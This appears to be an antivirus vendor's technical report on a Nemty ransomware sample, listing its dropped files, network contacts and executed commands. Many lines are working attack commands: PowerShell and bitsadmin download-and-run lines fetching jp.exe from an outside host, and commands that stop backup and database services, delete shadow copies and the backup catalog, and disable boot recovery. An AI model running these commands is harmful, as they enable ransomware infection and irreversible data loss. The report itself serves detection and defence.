Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\nemty_do5oglm-decrypt.txt
- <Drive name for removable media>:\correct.avi
- <Drive name for removable media>:\split.avi
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Creates and executes the following
- '%TEMP%\6246258358.exe'
Downloads and executes
- http://92.##.197.190/jp.exe as %temp%\6246258358.exe
Executes the following
- '%WINDIR%\syswow64\net.exe' stop DbxSvc
- '%WINDIR%\syswow64\net.exe' stop cbVSCService11
- '%WINDIR%\syswow64\net.exe' stop CobianBackup11
- '%WINDIR%\syswow64\net.exe' stop SQLBrowser
- '%WINDIR%\syswow64\net.exe' stop SQLAgent$SQLEXPRESS
- '%WINDIR%\syswow64\net.exe' stop MongoDB
- '%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper100
- '%WINDIR%\syswow64\net.exe' stop QBCFMontorService
- '%WINDIR%\syswow64\net.exe' stop MSSQL$SQLEXPRESS
- '%WINDIR%\syswow64\net.exe' stop Apache2.4
- '%WINDIR%\syswow64\net.exe' stop AcronisAgent
- '%WINDIR%\syswow64\net.exe' stop AcrSch2Svc
- '%WINDIR%\syswow64\net.exe' stop OracleServiceXE
- '%WINDIR%\syswow64\net.exe' stop OracleXETNSListener
- '%WINDIR%\syswow64\taskkill.exe' /f /im sql.*
- '%WINDIR%\syswow64\net.exe' stop SQLWriter
- '%WINDIR%\syswow64\net.exe' stop QBVSS
Modifies file system
Creates the following files
- %TEMP%\6246258358.exe
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\518e2bc94bc324e5e6f82437175ae1af_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %TEMP%\bitcedb.tmp
Network activity
TCP
HTTP GET requests
- http://92.##.197.190/jp.exe
UDP
- DNS ASK my####rnalip.com
- DNS ASK ne##y10.hk
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92.##.197.190/jp.exe','%TEMP%\6246258358.exe');Start-Process '%TEMP%\6246258358.exe'' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer getitman /download /priority high http://92.##.197.190/jp.exe %TEMP%\624858334.exe&start %TEMP%\624858334.exe' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92.##.197.190/jp.exe','%TEMP%\6246258358.exe');Start-Process '%TEMP%\6246258358.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
- '%WINDIR%\syswow64\net1.exe' stop DbxSvc
- '%WINDIR%\syswow64\net1.exe' stop OracleXETNSListener
- '%WINDIR%\syswow64\net1.exe' stop OracleServiceXE
- '%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc
- '%WINDIR%\syswow64\net1.exe' stop AcronisAgent
- '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete
- '%WINDIR%\syswow64\net1.exe' stop Apache2.4
- '%WINDIR%\syswow64\net1.exe' stop MSSQLServerADHelper100
- '%WINDIR%\syswow64\net1.exe' stop MongoDB
- '%WINDIR%\syswow64\net1.exe' stop SQLAgent$SQLEXPRESS
- '%WINDIR%\syswow64\net1.exe' stop SQLBrowser
- '%WINDIR%\syswow64\net1.exe' stop CobianBackup11
- '%WINDIR%\syswow64\net1.exe' stop cbVSCService11
- '%WINDIR%\syswow64\net1.exe' stop SQLWriter
- '%WINDIR%\syswow64\net1.exe' stop MSSQL$SQLEXPRESS
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...
- '<SYSTEM32>\vssvc.exe'
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer getitman /download /priority high http://92.##.197.190/jp.exe %TEMP%\624858334.exe&start %TEMP%\624858334.exe
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=401MB
- '<SYSTEM32>\bitsadmin.exe' /transfer getitman /download /priority high http://92.##.197.190/jp.exe %TEMP%\624858334.exe
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded
- '%WINDIR%\syswow64\net1.exe' stop QBCFMontorService
- '%WINDIR%\syswow64\net1.exe' stop QBVSS
